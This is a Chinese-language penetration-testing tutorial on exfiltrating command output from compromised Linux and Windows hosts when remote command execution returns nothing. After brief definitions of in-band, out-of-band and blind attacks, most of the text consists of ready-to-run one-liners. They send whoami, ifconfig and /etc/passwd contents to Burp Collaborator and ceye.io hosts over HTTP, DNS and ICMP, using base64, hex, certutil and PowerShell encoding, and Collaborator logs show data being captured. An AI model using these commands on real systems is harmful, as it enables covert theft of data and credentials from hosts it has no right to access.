

基本概念

带内攻击

向服务器提交一个 payload，而服务器响应给我们相关的 response 信息。大家都叫它带内攻击，这些理论的东西，我们简单理解就好，这里我们就理解成**单条通信的通道为带内攻击，也就是整个测试过程或者说是交互过程，中间没有其外部的服务器参与，只有自己和目标服务器，那么就叫带内。**

带外攻击（OOB）

服务器用来测试盲的各种漏洞的话，则需要我们外部的独立服务器参数，也就是带入了外部的服务器，我们叫它带外攻击。这里简单的提了一下这个带内和带外，我们只要理解其过程即可。

带外数据

传输层协议使用带外数据（out-of-band，OOB）来发送一些重要的数据，如果通信一方有重要的数据需要通知对方时，协议能够将这些数据快速地发送到对方。为了发送这些数据，协议一般不使用与普通数据相同的通道，而是使用另外的通道。linux系统的套接字机制支持低层协议发送和接受带外数据。但是TCP协议没有真正意义上的带外数据。为了发送重要协议，TCP提供了一种称为紧急模式（urgent mode）的机制。TCP协议在数据段中设置URG位，表示进入紧急模式。接收方可以对紧急模式采取特殊的处理。很容易看出来，这种方式数据不容易被阻塞，并且可以通过在我们的服务器端程序里面捕捉SIGURG信号来及时接受数据。这正是我们所要求的效果。

由于TCP协议每次只能发送和接受带外数据一个字节，所以，我们可以通过设置一个数组，利用发送数组下标的办法让服务器程序能够知道自己要监听的端口以及要连接的服务器IP/port。由于限定在1个字节，所以我们最多只能控制255个port的连接，255个内网机器（不过同一子网的机器不会超过255j），同样也只能控制255个监听端口，不过这些已经足够了。

盲

程序不进行详细的回显信息，而只是返回对或者错时，我们都可以叫它盲。我们在做渗透测试的时候，经常会遇到这种情况，测试跨站可能有些功能插入恶意脚本后无法立即触发，例如提交反馈表单，需要等管理员打开查看提交信息时才会触发，或者是盲注跨站，盲打 XSS 这种。再例如 SSRF，如果程序不进行回显任何信息，而只提示你输入的是否合法，那么也无法直接判断程序存在 SSRF 漏洞，我们可以叫盲 SSRF。再例如 XXE，引入外部文件时，如果程序也不返回任何信息和引用文件的内容，而只提示输入的是否有误，那么也无法直接判断程序是否存在 XXE 漏洞，我们也可以叫盲 XXE。

基本回显思路

对于出网机器

使用http传输，如wget，curl，certutil将回显信息爬出

优点：方便，回显全。

缺点：1.对于不出网服务器没有办法传输，同时需要了解其返回包字段信息，需要使用返回包字段将回显信息带出

对于不出网机器

使用DNS传输，ICMP传输，powershell中的wget，curl等传输

优点：不出网机器可以传输

缺点：1.回显是一条条执行，需要将回显结果拼接解码，回显信息比较麻烦

2.短回显可以使用DNS传输，长回显大部分带出需要powershell搭配，但杀毒软件往往禁用powershell，因此利用条件较苛刻

在线网站DNS/HTTP管道解析

经常在拿下shell的时候碰到命令执行无回显的情况，因此为了解决命令执行无回显时，可以借助DNS管道解析来让命令回显

利用burpsuit Collaborator Client模块进行回显，首先打开 collaborator client

利用远程命令执行，或直接在靶机上执行命令：意思是发送whoami信息回显至burp的二级域名地址，回显过来

1.第一种命令格式

通过DNS记录查看是否执行（最好执行两次），ping走的是DNS协议

```
curl `whoami`.wyysg1fi9svq8zgf0g11dz80z6pue.burpcollaborator.net
```

DNS,http中有回显

2.第二种命令格式

```
curl http://n7vp17a6r01mzz87orpsa48z9qfh36.burpcollaborator.net/`whoami`
```

DNS记录中无回显,http中有回显

3.第三种命令执行格式

linux系统：

```
ping `whoami`.ip.port.ttq72fceob0yxwq9342c4yuo2f85wu.burpcollaborator.net
```

windows系统：

```
ping %whoami%.ip.port.ttq72fceob0yxwq9342c4yuo2f85wu.burpcollaborator.net
```

命令执行无回显

经常在拿下shell的时候碰到命令执行无回显的情况，因此为了解决命令执行无回显时，可以借助DNS管道解析来让命令回显

linux利用

1.http传输

1.1 wget传输

使用wget将命令回显信息通过包头数据字符串User-Agent传输至攻击服务器上，xargs echo-n代表去掉各个分隔符，换行符等符号输出

```
wget --header="User-Agent: $(cat /etc/passwd | xargs echo-n)"
http://6rych16irk3064ztjoo9ufasuj0do2.burpcollaborator.net
```

1.2 curl传输

通过curl远程命令执行RCE去对靶机执行以下命令

```
#通过http记录查看是否执行（最好执行两次），curl走http协议
curl http://ip.port.XXXXXX.ceye.io/`whoami`
curl `whoami`.XXXXXX.ceye.io
```

如果回显信息不全，可以使用如下结合sed命令回显完整，但其实也不是全的

```
curl http://ip.port.XXXXXX.ceye.io/`ls -al|sed -n '2p'`
#使用base64编码
curl http://ip.port.XXXXXX.ceye.io/`ls -al|sed -n '2p'|base64`
#将长文本进行分割
curl http://ip.port.XXXXXX.ceye.io/`ls -al|sed -n '2p'|cut -c 3-10`
```

2.DNS传输

通过DNS记录查看是否执行（最好执行两次），ping走的是DNS协议

```
ping `whoami`.ip.port.XXXXXXX.ceye.io
```

说明使用DNS管道解析还是比较鸡肋的，只适合单条的短信息回显，有点作用。

DNS管道解析的扩展，结合php命令执行可以使用这种方式进行回显，使用sed命令回显变长：

执行：

```
http://xxx.xxx.xxx.xxx/test.php?cmd=curl http://XXXXXX.ceye.io/`ls -al`
#看起来只能带出第一行，所以我们需要sed命令
http://xxx.xxx.xxx.xxx/test.php?cmd=curl http://XXXXXX.ceye.io/`ls -al | sed -n
'2p'`
#发现空格不能被带出来，用base64编码
http://xxx.xxx.xxx.xxx/test.php?cmd=curl http://XXXXXX.ceye.io/`ls -al | sed -n
'2p'|base64`
#若有的时候长度太大，cut来分割字符（第一个字符下标为1）
http://xxx.xxx.xxx.xxx/test.php?cmd=curl http://XXXXXX.ceye.io/`ls -al |cut -c 3-10`
```

2.1通过base64编码传输

```
var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}'1'); do  
var=$((var+1)) && nslookup  
$var.$i.402c35vpn9hpp1p9ilj09pxx9ofe33.burpcollaborator.net; done
```

2.2 十六进制传输：（hex编码）

```
var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+1)) && dig  
$var.$b.itfjy788hafvu4q8xtf7naktrkxbpze.burpcollaborator.net; done
```

这种方式需要每条结果复制粘贴，比较麻烦，但回显结果还是准确的，可以看到ifconfig命令执行后的直接结果

十六进制转换字符： ****<http://www.bejson.com/convert/ox2str/>****

2.3 ICMP传输

```
#靶机  
cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1  
easn11le1xy8t7az1ztz02gkbbh65v.burpcollaborator.net;done  
#攻击者  
sudo tcpdump 'icmp and src host 202.14.120.xx' -w icmp_file.pcap#To capture  
#攻击者提取数据  
echo "0x$(tshark -n -q -r icmp_file.pcap -T fields -e data.data | tr -d '\n' | tr -d  
':') " | xxd -r -p #Or Use Wireshark gui
```

Windows利用

1.http传输

1.1 curl传输

#windows中 %xxx% 的xxx代表系统变量,常用系统变量命令	
%SystemDrive%	系统安装的磁盘分区
%SystemRoot% = %windir% WINDODWS	系统目录
%ProgramFiles%	应用程序默认安装目录
%AppData%	应用程序数据目录
%CommonProgramFiles%	公用文件目录
%HomePath%	当前活动用户目录
%Temp% =%Ttmp%	当前活动用户临时目录
%DriveLetter%	逻辑驱动器分区
%HomeDrive%	当前用户系统所在分区

curl抓取用户名：//%USERNAME%，列出所有用户名

```
curl http://0opr08yd8hhgror4veu9rp09j0pqdf.burpcollaborator.net/%USERNAME%
```

curl获取windows安装目录: //%WinDir%, 列出windows的安装目录

```
curl http://0opr08yd8hhgror4veu9rp09j0pqdf.burpcollaborator.net/%winDir%
```

1.2 certutil利用

payload逻辑

将ipconfig的结果记录在新建temp文件中，再对temp文件进行base64加密变成temp2文件，再对temp2文件中的多余字符"CERTIFICATE"删掉变成temp3，再对temp3的内容删除换行符生成所有数据只在一行的temp4（因为http响应包想要信息全部输出必须使信息全在一行），并把temp4的内容赋予变量为p1，最后使用curl爬取p1的值赋予http响应包的User-Agent字段输出于http://

qysvrmtxvestl2c93ydg0u5p1g76vv.burpcollaborator.net中，最后删除本地文件夹中所有生成的带有temp字段的文件（也就是之前生成的temp~temp4四个文件）

```
ipconfig > temp && certutil -f -encode temp temp2 && findstr /L /V "CERTIFICATE"
temp2 > temp3 && (for /f %i in (./temp3) do set /p=%i<nul >>temp4) || set /p p1=
<temp4 && curl -H "User-Agent:%p1%"
http://qysvrrmxvestl2c93ydg0u5p1g76vv.burpcollaborator.net && del temp*
```

执行成功可以在http请求的user-agent中发现带出来的数据，进行base64解码即可。

2.DNS传输

单条传输，很鸡肋不推荐，只能执行hostname命令

```
#执行10次nslookup命令
for /L %i in (1,1,10) do nslookup

#命令执行
cmd /v /c "hostname > temp && certutil -f -encode temp temp2 && findstr /L /V
"CERTIFICATE" temp2 > temp3 && set /p MYVAR=<temp3 && set
FINAL=!MYVAR!.z00h57chz181ln3fno9aydnspjv9jy.burpcollaborator.net && nslookup
!FINAL!"
```

经过测试，回显只能执行hostname命令，没有办法通过写入对命令shell的循环来让其执行多次回显信息，失败。

十六进制编码（缺点：必须调用powershell）

payload:

```
whoami > test && certutil -encodehex -f test test.hex 4 && powershell $text=Get-
Content test.hex;$sub=$text -replace(' ','');$j=11111;foreach($i in $sub){
$fin=$j.toString()+'. '+$i+'.qf95nhvxs08z5nr9wk19ruzsqujw9ky.burpcollaborator.net';$j
+= 1; nslookup $fin }
```

执行成功之后

Poll Collaborator interactions

Poll every seconds

#	Time	Type	Payload	Comment
350	2020-6月-23 10:07:26 UTC	DNS	ftcgy485h7fsu1q5xqf4n7kqrhx8qwf	
349	2020-6月-23 10:07:25 UTC	DNS	ftcgy485h7fsu1q5xqf4n7kqrhx8qwf	
348	2020-6月-23 10:07:26 UTC	DNS	ftcgy485h7fsu1q5xqf4n7kqrhx8qwf	
347	2020-6月-23 10:07:26 UTC	DNS	ftcgy485h7fsu1q5xqf4n7kqrhx8qwf	
346	2020-6月-23 10:01:54 UTC	DNS	itfjy788hafvu4q8xtf7naktrkxcpze	
345	2020-6月-23 09:55:45 UTC	DNS	9lvaqy0z917mmvizpk7yf1ckjbp2...	
344	2020-6月-23 09:55:52 UTC	DNS	9lvaqy0z917mmvizpk7yf1ckjbp2...	
343	2020-6月-23 09:55:46 UTC	DNS	9lvaqy0z917mmvizpk7yf1ckjbp2...	
342	2020-6月-23 09:55:53 UTC	DNS	9lvaqy0z917mmvizpk7yf1ckjbp2...	
341	2020-6月-23 09:55:40 UTC	DNS	9lvaqy0z917mmvizpk7yf1ckjbp2...	
340	2020-6月-23 09:55:39 UTC	DNS	9lvaqy0z917mmvizpk7yf1ckjbp2...	
339	2020-6月-23 09:55:39 UTC	DNS	9lvaqy0z917mmvizpk7yf1ckjbp2...	
338	2020-6月-23 09:55:38 UTC	DNS	9lvaqy0z917mmvizpk7yf1ckjbp2...	
337	2020-6月-23 09:55:39 UTC	DNS	9lvaqy0z917mmvizpk7yf1ckjbp2...	

Description DNS query

The Collaborator server received a DNS lookup of type A for the domain name **11112.0a.ftcgy485h7fsu1q5xqf4n7kqrhx8qwf.burpcollaborator.net**.

The lookup was received from IP address 218.77.158.82 at 2020-6.-23 10:07:26 UTC.

第一串字符 0a

Close

第二串字符

349	2020-6月-23 10:07:25 UTC	DNS	ftcgy485h7fsu1q5xqf4n7kqrhx8qwf	
348	2020-6月-23 10:07:26 UTC	DNS	ftcgy485h7fsu1q5xqf4n7kqrhx8qwf	
347	2020-6月-23 10:07:26 UTC	DNS	ftcgy485h7fsu1q5xqf4n7kqrhx8qwf	
346	2020-6月-23 10:01:54 UTC	DNS	itfjy788hafvu4q8xtf7naktrkxcpze	
345	2020-6月-23 09:55:45 UTC	DNS	9lvaqy0z917mmvizpk7yf1ckjbp2...	
344	2020-6月-23 09:55:52 UTC	DNS	9lvaqy0z917mmvizpk7yf1ckjbp2...	
343	2020-6月-23 09:55:46 UTC	DNS	9lvaqy0z917mmvizpk7yf1ckjbp2...	
342	2020-6月-23 09:55:53 UTC	DNS	9lvaqy0z917mmvizpk7yf1ckjbp2...	
341	2020-6月-23 09:55:40 UTC	DNS	9lvaqy0z917mmvizpk7yf1ckjbp2...	
340	2020-6月-23 09:55:39 UTC	DNS	9lvaqy0z917mmvizpk7yf1ckjbp2...	
339	2020-6月-23 09:55:39 UTC	DNS	9lvaqy0z917mmvizpk7yf1ckjbp2...	
338	2020-6月-23 09:55:38 UTC	DNS	9lvaqy0z917mmvizpk7yf1ckjbp2...	
337	2020-6月-23 09:55:39 UTC	DNS	9lvaqy0z917mmvizpk7yf1ckjbp2...	

Description DNS query

The Collaborator server received a DNS lookup of type AAAA for the domain name **11111.627574636865725c627574636865720d.ftcgy485h7fsu1q5xqf4n7kqrhx8qwf.burpcollaborator.net**.

The lookup was received from IP address 218.77.158.86 at 2020-6.-23 10:07:26 UTC.

第二串字符

Close

两个拼接起来

0a627574636865725c627574636865720d

十六进制转字符转换: <http://www.bejson.com/convert/ox2str/>

转为信息是全部的, 可以全部一条条来, 最后全部破解即可

3.ICMP传输

缺点: 不能传太大的包, 回显信息太长会失败, 但依旧隐蔽

payload逻辑:

```
whoami > output.txt && powershell $text=Get-Content output.txt;$ICMPClient = New-Object System.Net.NetworkInformation.Ping;$PingOptions = New-Object System.Net.NetworkInformation.PingOptions;$PingOptions.DontFragment = $True;$sendbytes = ([text.encoding]::ASCII).GetBytes($text);$ICMPClient.Send('edvhr84xv7p1ga18aoiw10mmzd54tt.burpcollaborator.net',60 * 1000, $sendbytes, $PingOptions);
```